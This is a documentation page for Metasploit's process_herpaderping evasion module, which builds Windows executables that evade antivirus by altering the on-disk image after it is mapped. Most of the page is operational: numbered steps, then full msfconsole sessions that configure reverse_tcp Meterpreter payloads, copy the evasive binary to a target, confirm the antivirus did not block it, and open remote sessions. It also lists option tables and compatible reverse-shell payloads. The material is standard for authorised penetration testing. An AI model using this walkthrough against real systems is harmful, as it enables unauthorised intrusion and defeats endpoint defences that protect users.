Process Herpaderping evasion technique - Metasploit


This page contains detailed information about how to use the evasion/windows/process_herpaderping metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Process Herpaderping evasion technique
Module: evasion/windows/process_herpaderping
Source code: modules/evasion/windows/process_herpaderping.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64, x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows you to generate a Windows executable that evades security products such as Windows Defender, Avast, etc. This uses the Process Herpaderping technique to bypass Antivirus detection. This method consists in obscuring the behavior of a running process by modifying the executable on disk after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/). First, the chosen payload is encrypted and embedded in a loader Portable Executable (PE) file. This file is then included in the final executable. Once this executable is launched on the target, the loader PE is dropped on disk and executed, following the Process Herpaderping technique. Note that the name of the file that is being dropped is randomly generated. However, it is possible to configure the destination path from Metasploit (see WRITEABLE_DIR option description). Here is the main workflow: 1. Retrieve the target name (where the PE loader will be dropped). 2. Retrieve the PE loader from the binary and write it on disk. 3. Create a section object and create a process from the mapped image. 4. Modify the file content on disk by copying another (inoffensive) executable or by using random bytes (see REPLACED_WITH_FILE option description). 5. Create the main Thread. The source code is based on Johnny Shaw's PoC (https://github.com/jxy-s/herpaderping).

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use evasion/windows/process_herpaderping
msf evasion(process_herpaderping) > show options
    ... show and set options ...
msf evasion(process_herpaderping) > exploit

Knowledge Base

Description

This module allows you to generate a Windows executable that evades security products such as Windows Defender, Avast, etc. This uses the Process Herpaderping technique to bypass Antivirus detection. This method consists in obscuring the behavior of a running process by modifying the executable on disk after the image has been mapped in memory (more details here).

First, the chosen payload is encrypted and embedded in a loader Portable Executable (PE) file. This file is then included in the final executable. Once this executable is launched on the target, the loader PE is dropped on disk and executed, following the Process Herpaderping technique. Note that the name of the file that is being dropped is randomly generated. However, it is possible to configure the destination path from Metasploit (see WRITEABLE_DIR option description).

Here is the main workflow:

  1. Retrieve the target name (where the PE loader will be dropped).
  2. Retrieve the PE loader from the binary and write it on disk.
  3. Create a section object and create a process from the mapped image.
  4. Modify the file content on disk by copying another (inoffensive) executable or by using random bytes (see REPLACED_WITH_FILE option description).
  5. Create the main Thread.

The source code is based on Johnny Shaw's PoC.

This payload won't work on 32-bit Windows 10 versions from 1511 (build 10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393). These versions have a bug in the kernel that crashes/BugCheck the OS when executing this payload. So, to avoid this, the payload won't run if it detects the OS is one of these versions. More details here.

Verification Steps

Here are the steps using a Meterpreter payload on a 64-bits target:

  1. Do: use evasion/windows/process_herpaderping
  2. Do: set LHOST <local IP>
  3. Do: set target 0
  4. Do: set payload windows/x64/meterpreter/reverse_tcp
  5. Do: handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>
  6. Do: run
  7. Copy the generated executable file to the target (using another exploit or SMB)
  8. Run it on the target
  9. Verify the Antivirus did not block its execution
  10. Verify you got a session

Options

ENCODER

A specific encoder to use (automatically selected if not set). Note that the encoded payload will be automatically encrypted before being placed into the loader.

FILENAME

Filename for the generated evasive file file. The default is random.

WRITEABLE_DIR

Where to write the loader on disk. Windows environment variables can be used in the path and the default is set to %TEMP%. Note that this file will be removed automatically when the session is terminated or if an error occurs.

REPLACED_WITH_FILE

The file to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV). Windows environment variables can be used in the path and the default is set to %SystemRoot%\\System32\\calc.exe.

Scenarios

Windows 10 x64 version 1909 with Avast Antivirus (also tested with Windows Defender)

msf6 > use evasion/windows/process_herpaderping
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/process_herpaderping) > set LHOST 192.168.144.1
LHOST => 192.168.144.1
msf6 evasion(windows/process_herpaderping) > set target 0
target => 0
msf6 evasion(windows/process_herpaderping) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/process_herpaderping) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.144.1:4444
msf6 evasion(windows/process_herpaderping) > run
[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe

msf6 evasion(windows/process_herpaderping) >
[*] Sending stage (200262 bytes) to 192.168.144.128
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.128:50205) at 2021-01-22 13:02:14 +0100

msf6 evasion(windows/process_herpaderping) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-UUQE0B4
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-UUQE0B4\n00tmeg
meterpreter > [*] Shutting down Meterpreter...

[*] 192.168.144.128 - Meterpreter session 1 closed.  Reason: User exit

Windows 7 x86 with Avast Antivirus

msf6 evasion(windows/process_herpaderping) > set target 1
target => 1
msf6 evasion(windows/process_herpaderping) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 evasion(windows/process_herpaderping) > options

Module options (evasion/windows/process_herpaderping):

   Name                Current Setting                 Required  Description
   ----                ---------------                 --------  -----------
   ENCODER                                             no        A specific encoder to use (automatically selected if not set)
   FILENAME            raU.exe                         yes       Filename for the evasive file (default: random)
   REPLACED_WITH_FILE  %SystemRoot%\System32\calc.exe  no        File to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV).
   WRITEABLE_DIR       %TEMP%                          yes       Where to write the loader on disk


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Evasion target:

   Id  Name
   --  ----
   1   Microsoft Windows (x86)


msf6 evasion(windows/process_herpaderping) > run

[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe
[!] #### WARNING ####
This payload won't work on 32-bit Windows 10 versions from 1511 (build
10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393).
These versions have a bug in the kernel that crashes/BugCheck the OS
when executing this payload. So, to avoid this, the payload won't run if
it detects the OS is one of these versions.
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe

msf6 evasion(windows/process_herpaderping) > jobs -K
Stopping all jobs...
msf6 evasion(windows/process_herpaderping) > handler -p windows/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444
[*] Payload handler running as background job 1.

[*] Started reverse TCP handler on 192.168.144.1:4444
msf6 evasion(windows/process_herpaderping) > [*] Sending stage (175174 bytes) to 192.168.144.133
[*] Meterpreter session 3 opened (192.168.144.1:4444 -> 192.168.144.133:51542) at 2021-01-22 13:09:43 +0100

msf6 evasion(windows/process_herpaderping) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN7-DEV
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: WIN7-DEV\n00tmeg
meterpreter > [*] Shutting down Meterpreter...

[*] 192.168.144.133 - Meterpreter session 3 closed.  Reason: User exit

Go back to menu.

Msfconsole Usage

Here is how the windows/process_herpaderping evasion module looks in the msfconsole:

msf6 > use evasion/windows/process_herpaderping

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/process_herpaderping) > show info

       Name: Process Herpaderping evasion technique
     Module: evasion/windows/process_herpaderping
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Johnny Shaw
  Christophe De La Fuente

Check supported:
  No

Basic options:
  Name                Current Setting                 Required  Description
  ----                ---------------                 --------  -----------
  ENCODER                                             no        A specific encoder to use (automatically selected if not set)
  FILENAME            HvDsEonlgn.exe                  yes       Filename for the evasive file (default: random)
  REPLACED_WITH_FILE  %SystemRoot%\System32\calc.exe  no        File to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV).
  WRITEABLE_DIR       %TEMP%                          yes       Where to write the loader on disk

Description:
  This module allows you to generate a Windows executable that evades 
  security products such as Windows Defender, Avast, etc. This uses 
  the Process Herpaderping technique to bypass Antivirus detection. 
  This method consists in obscuring the behavior of a running process 
  by modifying the executable on disk after the image has been mapped 
  in memory (more details https://jxy-s.github.io/herpaderping/). 
  First, the chosen payload is encrypted and embedded in a loader 
  Portable Executable (PE) file. This file is then included in the 
  final executable. Once this executable is launched on the target, 
  the loader PE is dropped on disk and executed, following the Process 
  Herpaderping technique. Note that the name of the file that is being 
  dropped is randomly generated. However, it is possible to configure 
  the destination path from Metasploit (see WRITEABLE_DIR option 
  description). Here is the main workflow: 1. Retrieve the target name 
  (where the PE loader will be dropped). 2. Retrieve the PE loader 
  from the binary and write it on disk. 3. Create a section object and 
  create a process from the mapped image. 4. Modify the file content 
  on disk by copying another (inoffensive) executable or by using 
  random bytes (see REPLACED_WITH_FILE option description). 5. Create 
  the main Thread. The source code is based on Johnny Shaw's PoC 
  (https://github.com/jxy-s/herpaderping).

References:
  https://jxy-s.github.io/herpaderping/
  https://github.com/jxy-s/herpaderping

Module Options

This is a complete list of options available in the windows/process_herpaderping evasion module:

msf6 evasion(windows/process_herpaderping) > show options

Module options (evasion/windows/process_herpaderping):

   Name                Current Setting                 Required  Description
   ----                ---------------                 --------  -----------
   ENCODER                                             no        A specific encoder to use (automatically selected if not set)
   FILENAME            HvDsEonlgn.exe                  yes       Filename for the evasive file (default: random)
   REPLACED_WITH_FILE  %SystemRoot%\System32\calc.exe  no        File to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV).
   WRITEABLE_DIR       %TEMP%                          yes       Where to write the loader on disk

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Evasion target:

   Id  Name
   --  ----
   0   Microsoft Windows (x64)

Advanced Options

Here is a complete list of advanced options supported by the windows/process_herpaderping evasion module:

msf6 evasion(windows/process_herpaderping) > show advanced

Module advanced options (evasion/windows/process_herpaderping):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Evasion Targets

Here is a list of targets (platforms and systems) supported by the windows/process_herpaderping evasion module:

msf6 evasion(windows/process_herpaderping) > show targets

Evasion targets:

   Id  Name
   --  ----
   0   Microsoft Windows (x64)
   1   Microsoft Windows (x86)

Compatible Payloads

This is a list of possible payloads which are compatible with the windows/process_herpaderping evasion module:

msf6 evasion(windows/process_herpaderping) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   37  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   38  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   39  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   40  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   41  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   42  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   43  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   44  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   45  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   46  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   47  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   48  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   49  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   50  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   51  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   52  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   53  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   54  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   55  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   56  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   57  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   58  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   59  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   60  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   61  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   62  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid source binary: missing "<TAG>" tag

Here is a relevant code snippet related to the "Invalid source binary: missing "<TAG>" tag" error message:

98:	  end
99:	
100:	  def patch_binary(bin, tag, value)
101:	    placeholder = bin.index(tag)
102:	    unless placeholder
103:	      fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag")
104:	    end
105:	
106:	    bin[placeholder, value.size] = value
107:	    nil
108:	  end

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • Johnny Shaw
  • Christophe De La Fuente

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.